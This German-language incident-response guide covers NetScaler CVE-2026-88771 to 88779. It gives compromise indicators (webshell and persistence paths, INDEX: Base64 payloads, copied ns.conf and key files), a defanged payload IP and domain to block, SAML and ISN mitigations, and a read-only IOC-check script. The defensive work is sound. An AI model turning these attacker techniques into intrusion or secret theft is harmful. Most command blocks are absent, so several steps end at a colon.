Prüfe Gateway- und AAA-Sitzungen auf wechselnde Quell-IP-Adressen, Länder oder User-Agents innerhalb derselben Sitzung sowie auf Sitzungen, die trotz Kennwortänderung oder MFA-Maßnahmen weiterverwendet werden. Erfolgreiche Zugriffe ohne CitrixReceiver-Marker und HeadlessChrome-User-Agents können Hinweise sein, sind aber nicht allein verdächtig: Browser- und clientlose Zugriffe können regulär sein.

NSPPE-Core-Dumps

Untersuche Core Dumps und angrenzende Artefakte im relevanten Zeitraum. Achte auf Hinweise, dass ns.conf, .F1.key, .F2.key, Zertifikate oder private Schlüssel in Web-, Theme-, Template- oder temporäre Verzeichnisse kopiert wurden. Einträge wie /var/core/bounds sind Indexdateien und nicht selbst ein Core Dump.

Korreliere DTLSv1.0-Handshakefehler mit Handshake failure-Internal Error, NSPPE-Abstürzen, orphan rings und NOT restarting NSPPE. Ein Core Dump oder einzelner Fehler allein beweist keine Ausnutzung. Das manuelle Erzeugen eines NSPPE-Core-Dumps kann einen Warm-Neustart auslösen und SSH trennen; sichere vorher andere Beweise und stimme den Vorgang mit Incident Response und Serviceverantwortlichen ab.

Perl- und Python-Skripte

Prüfe unbekannte Perl- und Python-Prozesse anhand von Dateipfad, Eigentümer, Startzeit, Kommandozeile und Hashwert. Ein Perl-Prozess kann beispielsweise bei Verwendung eines StoreFront-Monitors dauerhaft vorhanden sein; auch andere NetScaler-Funktionen können erwartete Python-Prozesse starten.

Ungewöhnliche Prozesse und Krypto-Miner

Ordne dauerhaft hohe CPU-Auslastung dem jeweiligen Prozess zu. NSPPE kann erwartungsgemäß hohe Last erzeugen; unbekannte zusätzliche Prozesse, Miner, Proxy- oder Tunnelprozesse sind genauer zu untersuchen.

Netzwerk- und Firewall-Logs prüfen

Ergänze die lokale Untersuchung durch Netzwerk- und Firewall-Protokolle. Achte auf ungewöhnlichen Verkehr der NSIP, interne Scans über HTTP/HTTPS/SMB (80, 443, 445), auffällig hohe LDAP-/LDAPS-, DNS- oder Kerberos-Aktivität (389, 636, 53, 88), unerwartete RDP- oder Netzwerk-Logons, größere ausgehende Datenübertragungen und ungewöhnliche DNS-Ziele. Prüfe bei Folgeaktivitäten auch passende Active-Directory-Ereignisse wie 4624 und 4625 und korreliere diese mit Web-, Shell-, Authentifizierungs- und Firewall-Logs.

Für die aktuell beobachteten Abrufversuche prüfe außerdem Verbindungen zu 213[.]209[.]159[.]55, insbesondere TCP-Port 443, sowie DNS- und Proxy-Ereignisse zu pyrlnk[.]cc einschließlich Subdomains. Suche die IP in lokalen aktuellen und rotierten Logs:

Blockiere die berichtete Payload-IP vorsorglich an den vorgeschalteten Firewalls, sowohl für eingehenden Verkehr als auch für ausgehende Verbindungen der Appliance. Berücksichtige NSIP und SNIP sowie veröffentlichte VIPs. Ob diese Adresse auch Quelle eingehender Anfragen war, muss anhand deiner eigenen Firewall- oder Zugriffsdaten geprüft werden. Ergänze aktuelle, geprüfte Domain-Indikatoren in geeigneten DNS-, Proxy- oder Firewall-Kontrollen. Ein IP-Block ersetzt den SAML-Workaround nicht: Angreifer können ihre Infrastruktur wechseln.

SAML-Workaround und Frontend-Bindungen prüfen

Prüfe zunächst, ob SAML SP oder SAML IdP konfiguriert ist und welche Gateway- oder Authentication-vServer den betreffenden Anmeldeverkehr entgegennehmen. Kontrolliere anschließend Definition und Bindungen der aktuellen Support-Policy. Das Script erkennt pol_saml_prefix_v5c und die frühere pol_samlauth_prefixlist_block; Name und ausgewählte Expression-Merkmale bestätigen weder die Aktualität der Revision noch die Richtigkeit ihrer vollständigen Expression. Ihre bloße Existenz reicht nicht: Sie muss an jedem relevanten Frontend-vServer mit -type AAA_REQUEST wirksam gebunden sein. Eine globale REQ_OVERRIDE-Bindung ersetzt diesen Bindepunkt für die hier betroffenen Anmeldeanfragen nicht.

Der Script-Abgleich verwendet die gespeicherte Konfiguration. Fehlen bei vorhandener SAML-Konfiguration Policy oder passende Bindungen, ist das ein priorisierter Handlungshinweis. Sind weder SAML-Konfiguration noch die Policy vorhanden, besteht aus dieser speziellen Prüfung kein Handlungsbedarf. Vorhandene Bindungen sind zunächst ein Konfigurationsbefund; prüfe zusätzlich den Live-Zustand, die vollständige Policy-Expression, Prioritäten und alle betroffenen Anmeldewege. Nicht gespeicherte Änderungen können sonst zu einem abweichenden Prüfergebnis führen.

Global-Deny-List-Signaturen und AAA_REQUEST-Statistiken prüfen

Die folgenden Befehle werden in der NetScaler-CLI ausgeführt, nicht direkt in der FreeBSD-Shell:

Unter Name: *Default Signatures muss die Encrypted Version als Zahl angezeigt werden und mindestens 24 betragen. Eine hohe Versionsnummer eines anderen Signaturobjekts reicht für diese Prüfung nicht aus. Fehlt die Version, ist sie kleiner als 24 oder ist die Abfrage nicht lesbar, bleibt die Signaturabdeckung unbestätigt. Prüfe Console-Anbindung, Virtual patching und Signaturbereitstellung.

Die Statistikabfrage zeigt, ob Regeln ausgewertet wurden beziehungsweise Treffer vorliegen. Unterscheide ausgewertete Anfragen, Treffer und blockierte Anfragen und betrachte die Last Hit Time. Positive Zähler zeigen Aktivität; sie bestätigen nicht automatisch die vollständige Abdeckung aller relevanten Angriffsvarianten oder Anmeldewege. Null Zähler sind für sich genommen kein Fehler und kein Nachweis, dass die Mitigation deaktiviert ist. Ohne passende Anfragen, nach einem Neustart oder nach einem Zählerreset können sie ebenfalls null sein.

Der Deyda NetScaler IOC Check ergänzt diese Prüfung in der bestehenden CVE-/Mitigationsgruppe. Auf der Appliance versucht er die beiden lesenden CLI-Abfragen ohne interaktive Eingabe; jeder Aufruf ist auf 15 Sekunden begrenzt. Die lokale CLI-Ausführung wurde bei der Script-Erstellung nicht auf einer Appliance validiert. Fehlt der Zugriff oder kann die Ausgabe nicht sicher ausgewertet werden, meldet das Script [CHECK] und nennt die manuell auszuführenden Befehle.

Alternativ kann das Script vorhandene Textausgaben über DEYDA_GDL_SIGNATURES_FILE und DEYDA_GDL_STATS_FILE einlesen. Diese werden ausdrücklich als vom Bediener bereitgestellte Daten und nicht als Live-Verifikation ausgewiesen. Ein erkannter Versionsstand ab 24 ergibt einen [OK] für die Signaturversion, keine pauschale Freigabe der Mitigation. Die Firmwarebewertung aus CTX697174 bleibt unabhängig davon erhalten.

Die Einstellung „Virtual patching“ in NetScaler Console ist separat zu prüfen. Sie lässt sich aus der lokalen ns.conf allein nicht zuverlässig bestätigen. Auch eine aktuelle Signaturversion oder positive Zähler ersetzen diesen Nachweis nicht. Auf einer für diese CVE bereits behobenen Firmware ist die Global-Deny-List-Mitigation keine Voraussetzung für das Firmware-[OK]; fehlen beide SAML-Objekttypen in der geprüften Konfiguration, ist dieser spezielle Mitigationscheck dort nicht anwendbar.

Ergebnisse richtig einordnen

Das Prüfskript verwendet drei Status:

• [OK]: In der konkret durchsuchten Quelle wurde kein passender Treffer gefunden. Das bedeutet weder, dass die Appliance vollständig sauber ist, noch dass alle früheren Protokolle vorhanden sind.
• [ACTION]: Ein konkreter oder gezielter Indikator wurde gefunden. Beweise sichern, Zeitpunkte korrelieren und die Appliance weiter untersuchen.
• [CHECK]: Eine manuelle Prüfung ist erforderlich oder die Abdeckung ist unvollständig, etwa weil Protokolle fehlen, ein Pfad nicht vorhanden ist oder eine Baseline benötigt wird.

Die CVE-Konfigurationssuche bewertet Voraussetzungen für die mögliche Exposition vor dem Update. Wenn der eingegebene Firmwarestand den behobenen Mindeststand erfüllt, macht ein gefundener vServer die aktualisierte Appliance nicht automatisch erneut verwundbar. Die frühere Exposition und mögliche Kompromittierung bleiben trotzdem zu untersuchen.

Beispiele für die Grenzen eines Scans

• Keine INDEX:-Zeile gefunden: Das gilt nur für die verfügbaren HTTP-Logs und deren Aufbewahrungszeitraum.
• Keine .dot-Datei gefunden: Das gilt nur für den geprüften Pfad, sofern dieser auf dem System vorhanden und lesbar war.
• Kein Core Dump gefunden: Das schließt andere Kompromittierungsindikatoren nicht aus.
• httpd.conf wurde kürzlich geändert: Das kann durch ein Upgrade oder eine genehmigte Änderung verursacht worden sein; Baseline und Wartungszeitpunkt vergleichen.
• /bin/sh-Hash oder Metadaten weichen ab: Das ist zunächst ein Prüfhinweis und muss gegen Build, Edition und ein vertrauenswürdiges Vergleichssystem bewertet werden.
• Anzahl, Namen oder Hashes der zwölf strings.*.js-Dateien weichen ab: Das führt zu [CHECK]; geplante Anpassungen oder Unterschiede der Plattformvariante können die Ursache sein.

Die im Script enthaltenen Referenzwerte für /bin/sh und strings.*.js stammen von einer einzelnen, als sauber bewerteten Appliance mit Build 14.1-73.37. Sie sind intern dokumentiert, weder von Citrix veröffentlicht noch eine universelle Baseline für andere Plattformvarianten, Editionen oder angepasste Installationen.

Beispiel eines aktuellen NetScaler-Prüflaufs

In einem anonymisierten Lauf vom 1. Oktober 2026 wurde Build 14.1-73.37 über den laufenden Kernelpfad erkannt. Enhanced ISN Generation war in der gespeicherten ns.conf aktiviert; für eine vollständige Aussage ist der Live-Zustand zusätzlich mit show ns tcpparam zu verifizieren.

Im geprüften Bestand verfügbarer Logs fanden sich keine INDEX:-Base64-Payloads, keine PPE-Trigger mit Shell-Syntax, keine nsepa.deb-HTTP-206-Ein-Byte-Probes und kein vp_probe_nonexist-Marker. Die gezielten Prüfungen fanden außerdem keine ausgewählten Webshell-Signaturen, NX-CVE-OK-Marker oder bekannten Payload-Dateien in den durchsuchten Pfaden. Die regulären VPN-Clientpakete, die vorhanden waren, entsprachen den internen Hashreferenzen dieser Einzelappliance. Das sind positive Ergebnisse für die jeweils durchsuchten Dateien und Zeiträume – keine Entwarnung für nicht mehr vorhandene oder nicht erfasste Logs.

Der Lauf enthielt dennoch [CHECK]-Meldungen. Ein NSPPE-Absturz in einem komprimierten Log war auf den 15. Juni 2023 datiert; gespeicherte Konfigurationsbefehle stammten ebenfalls aus 2023. Diese Ereignisse liegen deutlich vor dem hier untersuchten Angriffszeitraum ab September 2026 und sind ohne neuere korrelierende Hinweise historische Logtreffer, keine Belege für aktuelle Ausnutzung. Shell-Logeinträge vom 1. Oktober enthielten Aufrufe des Prüfscripts selbst. Auch solche Treffer müssen anhand von Zeitstempel und Kommandozeile eingeordnet werden.

Weitere Prüfhinweise waren wiederkehrende Apache-Graceful-Restarts am 29. und 30. September sowie kürzlich veränderte Webdateien. Die zeitlich regelmäßigen Reloads sollten mit geplanten Wartungs- oder Monitoring-Aufgaben abgeglichen werden; ein Reload allein belegt keine Webshell. Eine Prozessaufnahme zeigte nsppe mit 100 Prozent in der CPU-Spalte, während die angezeigten Load-Averages ungefähr bei 1 lagen. Eine einzelne Prozessaufnahme reicht nicht aus, um anhaltende Überlast oder Kompromittierung festzustellen.

Die ergänzten Referenzprüfungen bewerteten nslog.nextfile anhand des numerischen Inhalts und seiner Berechtigungen. Die PID in /var/run/nsprofmgmt.pid wurde mit dem tatsächlich laufenden nsprofmgmt-Prozess abgeglichen, statt einen veränderlichen PID-Datei-Hash als festen Sollwert zu behandeln. Im Beispiel passten beide Prüfungen. Das ist ein interner Vergleich mit einer sauberen Einzelappliance desselben Builds, kein Citrix-Sollwert.

Der Bericht enthielt keine [ACTION]-Treffer. Das bedeutet nur, dass die ausgewählten höher priorisierten Muster im erfassten Prüfumfang nicht anschlugen. Offene [CHECK]-Punkte – etwa Logabdeckung, Dateiänderungen rund um das Upgrade oder alte Prozessereignisse – müssen weiterhin mit Wartungsdaten, Live-Zustand und externen Protokollen abgeglichen werden.

Enhanced ISN Generation prüfen und aktivieren

Für CVE-2026-88778 reicht die Installation des behobenen Builds allein nicht aus: Citrix verlangt zusätzlich die Aktivierung von Enhanced ISN Generation.

Prüfe den laufenden Zustand in der NetScaler-CLI:

Für die Prüfung der gespeicherten Konfiguration:

Eine gespeicherte aktivierte Einstellung sieht beispielsweise so aus:

Fehlt die Direktive in ns.conf, entspricht der gespeicherte Zustand dem Citrix-Standard DISABLED. Die gespeicherte Konfiguration kann vom laufenden Zustand abweichen; prüfe daher zusätzlich die Ausgabe des CLI-Befehls.

Falls die Einstellung aktiviert werden muss, kann sie nach dem Change-Verfahren deiner Umgebung gesetzt und verifiziert werden:

Erwartet wird Enhanced ISN Generation: ENABLED. Prüfe den Wert auf jedem HA-Knoten und beachte die aktuelle Citrix-Anleitung zur Enhanced ISN Generation.

Deyda NetScaler IOC Check: Automatisierte Sicherheitsprüfung

Deyda NetScaler IOC Check ist ein read-only Prüfhilfsmittel. Es ändert keine NetScaler-Konfiguration, startet keine Dienste neu und löscht keine Dateien. Der Bericht wird unter /var/tmp gespeichert und gliedert die Ergebnisse in nummerierte Bereiche:

1. Plattform und Laufzeit
2. Firmwarestand und CVE-Konfigurationsvoraussetzungen
3. Systemintegrität und Persistenz
4. Webserver-Konfiguration und bereitgestellte Dateien
5. Protokollabdeckung und Ereigniskorrelation
6. Nachgelagerte Validierung
7. Incident Response
8. Zusammenfassung und nächste Schritte

Die Abschnitte erklären jeweils Zweck und Folgeprüfung. Am Ende fasst eine priorisierte Liste die nächsten Schritte zusammen. Die Zähler für [ACTION], [CHECK] und [OK] sind Nachrichtenanzahlen, keine Risikobewertung.

Was das Script prüft

• Erkennung des Firmwarestands bevorzugt über den laufenden Kernelpfad; weitere Fallbacks sind Live-Daten über nsconmsg, Bootloader-Dateien und zuletzt der Header der gespeicherten ns.conf.
• Separate Bewertung von CVE-2026-88779 anhand von SAML-SP-/IdP-Objekten und den neueren Mindestbuilds aus CTX697174. Workaround-Abdeckung und Firmwarestand bleiben getrennte Ergebnisse.
• Ergänzende Global-Deny-List-Prüfung: Encrypted Version der Default Signatures ab 24, AAA_REQUEST-Statistiken und der berichtete Standard-Firmwarebereich. Nicht lesbare oder nicht sicher interpretierbare Daten ergeben [CHECK]. Die Console-Voraussetzungen bleiben eine separate manuelle Prüfung.
• Abgleich des Builds mit den Mindestständen aus CTX697096 und Suche nach gespeicherten CVE-Konfigurationsvoraussetzungen. Ein Treffer auf einem bereits behobenen Build wird als Konfigurationshinweis eingeordnet, nicht als Beleg fortbestehender Verwundbarkeit.
• Enhanced ISN Generation aus /nsconfig/ns.conf. Fehlt die Direktive, wird der gespeicherte Zustand entsprechend dem Citrix-Standard als DISABLED gewertet. Die gespeicherte Konfiguration kann vom Live-Zustand abweichen.
• System- und Dateiprüfungen unter anderem zu Reboots, Core-/Crash-Dateien, Startkonfiguration, /bin/sh, SUID/SGID, bekannten Webshell- und Payload-Hinweisen, .dot-Dateien, Sprachdateien sowie Webserver-Konfiguration und -Metadaten. Alle Benutzerdateien in /var/cron/tabs/ werden zusätzlich zu den benannten Benutzer-Crontabs inventarisiert; dynamische nsprofmgmt.pid– und nslog.nextfile-Werte werden strukturell geprüft statt über starre Hashes.
• Vor dem Scan zählt das Script die lesbaren lokalen HTTP-, System-, DNS- und Audit-Logdateien und summiert deren Dateigröße. Es zeigt diese Werte sowie eine grobe Laufzeitschätzung an, bevor die Prüfungen starten. Die Schätzung berücksichtigt wiederholte Suchläufe, ist aber nur ein Richtwert: Komprimierung, Speicherleistung und Systemlast beeinflussen die tatsächliche Dauer.
• Zeitfenster: Der Check auf kürzlich geänderte Web-/Anwendungsdateien sowie ausgewählte httpd.conf– und Core-/Crash-Prüfungen betrachtet fest die letzten 14 Tage. Die Suche nach Änderungen seit dem Firmwareupdate verwendet separat den Änderungszeitpunkt von /var/nsinstall/installns_state. Für die Kampagnenphase seit Anfang September reichen die 14 Tage nicht immer aus; dafür müssen verfügbare ältere Logs und manuelle Dateisuchen mit einem passenden Startdatum herangezogen werden.
• Hashvergleich mit öffentlich berichteten Webshell-/Payload-Samples, darunter das Unit-42-Muster für nsg64.deb; ein Treffer ist ein starker Untersuchungsindikator, während abweichende Samples durch andere Hashes unentdeckt bleiben können.
• Gezielte Logsuche nach INDEX:-Payloads, Recon-Mustern (nsepa.deb HTTP 206 mit Ein-Byte-Antwort und vp_probe_nonexist) und beiden öffentlich beschriebenen PPE-Triggern (missed too many heartbeats und unexpectedly died) mit Shell-Syntax; zusätzlich werden ausgewählte Authentifizierungs-Endpunkte wie Authentication/GetUserName inventarisiert. Ein Endpunktzugriff allein ist kein Angriffsnachweis. Base64-Inhalt wird nur zur Anzeige dekodiert, niemals ausgeführt. Beide Spuren zusammen erhöhen die Priorität der Untersuchung, beweisen aber nicht, dass ein Befehl ausgeführt wurde.
• Suche nach tatsächlichen nsaaad-Absturz- und Neustartlimit-Ereignissen sowie passenden Core Dumps. Normale Authentifizierungszeilen und Prozesslisten werden von Lifecycle-Meldungen getrennt bewertet.
• Gespeicherte SAML-Konfiguration, die Support-Policy und ihre AAA_REQUEST-Bindungen. Zusätzlich werden berichtete Payload-Ziele und weitere Authentifizierungs-Injection-Muster untersucht; Treffer auf Download-Befehle bleiben von nachgewiesener Ausführung getrennt.
• Persistenz- und Tunnelartefakte wie /nsconfig/.slap/, /var/tmp/.ux/, .slap.receiver, receiver.deb, manipulierte Webshell-Aliase, zusätzliche Systembenutzer und auffällige EPA-Änderungen. Einzelne Namen oder Konfigurationen müssen mit Inhalt und genehmigten Änderungen korreliert werden.
• Logaufbewahrung und Abdeckung rund um den Patchzeitpunkt. Das Script liest dafür auf der Appliance den Änderungszeitpunkt von /var/nsinstall/installns_state. Der Zeitstempel muss mit den tatsächlichen Upgrade-Aufzeichnungen abgeglichen werden.
• Erweiterte GEIGER-Logauswertung: Angriffsversuche werden vollständig nach Payload gruppiert und mit Zeitstempeln, Häufigkeit, Logfamilien, ermittelten Client-IP-Adressen sowie passenden HTTP-Requests zusammengefasst. Die Reihenfolge wird nach den Zeitstempeln der Logeinträge gebildet, nicht nach den Dateinamen rotierter Logs.
• Ausführungsspuren: präparierte Befehle aus Authentifizierungslogs werden mit Shell-Audit-Logs, weiteren Logzeilen und den referenzierten Dateien korreliert. So lässt sich ein protokollierter Versuch besser von Hinweisen auf tatsächliche Schreib- oder Ausführungsaktionen unterscheiden. Das ist weiterhin keine vollständige forensische Ausführungsermittlung.
• Logabdeckung je Logfamilie: ältester und neuester verfügbarer Eintrag, längere Lücken sowie Abdeckung des Kampagnenzeitraums und des Installationsmarkers werden ausgewiesen. Nicht lesbare Logs oder unzureichende Aufbewahrung verhindern eine belastbare negative Aussage und führen zu [CHECK].
• Das Script schließt sich selbst anhand seines aufgelösten Pfads von Datei- und Audit-Treffern aus. Eigene Aufrufe sollen dadurch nicht als Angriffsartefakte erscheinen.

[OK] bedeutet: Im durchsuchten Pfad und Zeitraum wurde kein passendes Muster gefunden. [CHECK] bedeutet: manuelle Prüfung, Baseline-Abgleich oder Bewertung der Abdeckung ist erforderlich. [ACTION] markiert einen priorisierten Untersuchungsindikator. Keiner dieser Status ist allein eine Entwarnung oder ein Kompromittierungsnachweis.

Ein Logtreffer muss anhand seines Originalzeitstempels bewertet werden. Ein historischer Treffer auf einen NetScaler-Pfad oder eine Skript-Dateiendung allein weist keine Kompromittierung nach. Vergleiche Trefferzeitpunkt, Quelle und Inhalt mit dem relevanten Untersuchungszeitraum, dem Patchmarker und den Änderungsaufzeichnungen.

Die internen Referenzen für /bin/sh und zwölf strings.*.js-Dateien gelten nur für einen einzelnen sauberen Referenzstand von NetScaler 14.1-73.37. Sie sind keine von Citrix veröffentlichten Prüfsummen und keine universelle Baseline für andere Builds, Editionen oder kundenspezifische Anpassungen. Ein Abgleich ist nur für genau diesen Referenz-Build vorgesehen.

Script starten

Lade die aktuelle Fassung aus dem GitHub, kopiere deyda-netscaler-ioc-check.sh auf die Appliance, zum Beispiel nach /var/tmp, wechsle in die NetScaler-Shell und starte es:

Vor dem eigentlichen Lauf zeigt das Script die Zahl der lesbaren Kandidaten-Logdateien, ihre ungefähre Gesamtgröße einschließlich komprimierter Dateien und eine geschätzte Laufzeitspanne. Die Schätzung ist eine Orientierung und keine Laufzeitgarantie.

Das Script versucht Version und Enhanced-ISN-Einstellung automatisch zu lesen und fordert nicht interaktiv zur Eingabe auf. Falls du Werte ausdrücklich übergeben willst, lautet die Reihenfolge:

Das erste Argument ist der Firmwarestand, das zweite ENABLED oder DISABLED beziehungsweise die vollständige CLI-Ausgabe. Ein drittes Patchdatum wird nicht benötigt.

Für eine exportierte Konfiguration ist ein eingeschränkter Konfigurationsmodus verfügbar:

Dieser Modus prüft nur die gespeicherte Konfiguration. Datei-, Log-, Prozess- und Live-Systemprüfungen sind dabei nicht verfügbar. Führe den vollständigen Check auf jedem HA-Knoten aus und gleiche wichtige Werte mit dem Live-CLI-Zustand ab.

Das Script ersetzt weder den unterstützten NetScaler Console Security Advisory Scan noch Citrix File Integrity Monitoring oder eine forensische Untersuchung. Es führt keine YARA-Prüfung auf Datenträgerabbildern oder Core Dumps aus und erzeugt selbst keine Core Dumps.

Gegenmaßnahmen bei betroffenen Systemen

CVE-2026-88779: Firmwareupdate und temporärer SAML-Workaround

Citrix nennt inzwischen zusätzlich die Global-Deny-List-Mitigation mit Signaturen ab Version 24. Prüfe die Voraussetzungen aus Abschnitt 1.7 und die Nachweise aus Abschnitt 4.20. Eine vorhandene Responder-Policy und Global Deny List sind getrennte Mitigationsbefunde; beide ersetzen das Update auf den passenden Mindestbuild nicht.

Priorisiere für CVE-2026-88779 das Update auf den editionsgerechten Mindestbuild aus Abschnitt 1.6. Auf einem behobenen Build ist die CVE-spezifische SAML-Responder-Policy nicht mehr erforderlich. Falls sie dort noch gebunden ist, kann sie nach der Citrix-Hinweislage entfernt werden. Entferne nur die betreffende Mitigation und prüfe vorher, ob die Policy noch für andere Zwecke verwendet wird.

Die folgenden Schritte gelten nur, wenn ein betroffenes Build noch läuft und ein Workaround bis zum Update benötigt wird. Lasse dir dafür die aktuelle, für deine SP-/IdP-Konfiguration bestätigte Policy-Fassung vom Citrix-Support geben. Frühere SP-Beispiele sind keine allgemeine Freigabe für alle SAML-Szenarien. Vertrauliche Policy-Expressions werden hier nicht veröffentlicht.

Die Support-Expression nicht direkt in die ADC-CLI kopieren. Speichere die vom Support gelieferte Anweisung unverändert als Batchdatei in der ADC-Shell, beispielsweise /var/saml_protection.txt:

Verlasse anschließend die Shell mit exit und führe in der ADC-CLI aus:

Prüfe die Batchausgabe auf Fehler. Vergleiche vorhandene Policies mit der aktuellen Support-Fassung und binde sie entsprechend dieser Anleitung an die betroffenen Frontend-vServer. Ersetze die Platzhalter durch die bestätigten Objekt- und Policynamen. Die Beispielpriorität 100 muss zu den vorhandenen Bindungen und ihrer Auswertungsreihenfolge passen:

Kontrolliere die Policy und die jeweiligen Live-Bindungen:

Teste direkt danach eine normale SAML-Anmeldung über jede betroffene Gateway-URL und jeden relevanten Anmeldeweg. Bei Störungen sichere die Fehlermeldung und stimme die Anpassung mit Citrix-Support ab. Speichere die erfolgreich geprüfte Konfiguration:

Prüfe bei HA zusätzlich Synchronisation und wirksame Konfiguration auf beiden Knoten. Dokumentiere Umsetzung und Test. Die Policy ist eine Gegenmaßnahme gegen den beschriebenen Anmeldeangriff; sie beseitigt weder eine bereits bestehende Persistenz noch ersetzt sie Firmwareupdates oder die Untersuchung vergangener Ereignisse. Der Deyda NetScaler IOC Check prüft Hinweise auf den Workaround, richtet ihn aber nicht selbst ein.

Bei Kompromittierungsverdacht: Beweise sichern und wiederherstellen

1. Beweise sichern: Bei VPX einen Snapshot nach Incident-Response-Vorgaben erwägen. Systemzeit, Zeitzone und NTP-Einstellungen dokumentieren. Lokale, externe Syslog- und NetScaler-Console-Protokolle sowie ein Technical Support Bundle sichern. Citrix beschreibt diese Schritte in CTX694799.
2. Core Dumps mit Bedacht sichern: Die Citrix-Prozedur zur Erzeugung eines NSPPE-Core-Dumps löst einen Warm-Neustart aus und trennt SSH-Verbindungen. Vorher andere verfügbare Beweise sichern und den Neustart mit Incident Response und Serviceverantwortlichen abstimmen.
3. Eindämmen und korrelieren: Isolation nach Vorgabe der Incident-Response-Verantwortlichen und unter Beachtung der Serviceauswirkungen planen. HTTP-, Authentifizierungs-, System- und DTLS-Ereignisse, Dateien, Prozesse und ausgehende Verbindungen zeitlich korrelieren. Bestehende Sitzungen invalidieren oder beenden, wenn ein Session-Diebstahl nicht ausgeschlossen werden kann.
4. Verbundene Systeme untersuchen: Authentifizierungsserver, Webserver, Management-Systeme und weitere Systeme prüfen, mit denen die Appliance kommuniziert hat.
5. Bei bestätigter Kompromittierung wiederaufbauen: Ein vertrauenswürdiges Rebuild oder einen Austausch erwägen, statt nur zu patchen oder einzelne Dateien zu löschen. Eine nachweislich vor dem Vorfall erstellte Sicherung verwenden und die Konfiguration nach Wiederherstellung prüfen.
6. Secrets und Zertifikate erneuern: Betroffene Konten, LDAP-/AD- und Service-Secrets sowie API-Schlüssel rotieren. Potenziell kompromittierte Zertifikate einschließlich privater Schlüssel ersetzen und erforderlichenfalls widerrufen. Nach dem Wiederaufbau lokale Passwörter und KEKs erneuern.
7. Härten und überwachen: Management-Dienste nicht öffentlich erreichbar machen, den NetScaler nach Herstellerempfehlungen härten und mindestens 90 Tage verstärkt überwachen.
8. Rest-Risiko bewerten: Ein sauberer Scan ist nur so aussagekräftig wie die geprüften Pfade und erhaltenen Protokolle. Rechtliche Beweissicherung gegebenenfalls vor einem Rebuild mit Rechtsberatung abstimmen.

Quellen

• Citrix Community / NetScaler Cyber Threat Intelligence: „Understanding and Addressing CVE-2026-88779 in Citrix NetScaler ADC and Citrix NetScaler Gateway“, zuletzt aktualisiert am 3. Oktober 2026 (PDT); ergänzende Angaben aus der bereitgestellten Beitragsfassung. Maßgeblich bleibt CTX697174.
• Citrix Security Bulletin CTX697174: CVE-2026-88779 – SAML SP/IdP Denial of Service
• Citrix Security Bulletin CTX697096: CVE-2026-88771 bis CVE-2026-88778
• CERT-EU: “Taking ‚execute logging‘ a bit too literally – CVE-2026-88771”
• Unit 42: “Threat Brief: NetScaler Zero Days CVE-2026-88771 and CVE-2026-88772 Exploited in the Wild” (aktualisiert 30. September 2026)
• Google Threat Intelligence Group / Mandiant: Defending Against Active Exploitation of Citrix NetScaler ADC and Gateway Appliances
• Beazley Security Labs: NetScaler exploitation and persistence analysis (BSL-A1216)
• eSentire: Update on ongoing exploitation of Citrix NetScaler vulnerabilities
• PitScaler: community index of NetScaler security research
• Citrix: Steps to Take if NetScaler ADC is Suspected to be Compromised (CTX694799)
• Citrix: Security update guidance for NetScaler SAML authentication deployments – ergänzender Verweis zur bereitgestellten Support-Anleitung.
• Citrix-Dokumentation: Enhanced ISN Generation
• GEIGER-Erweiterungen des Deyda NetScaler IOC Checks: Implementierung von Patrick Wagner, mit Genehmigung geteilt und in den Check integriert.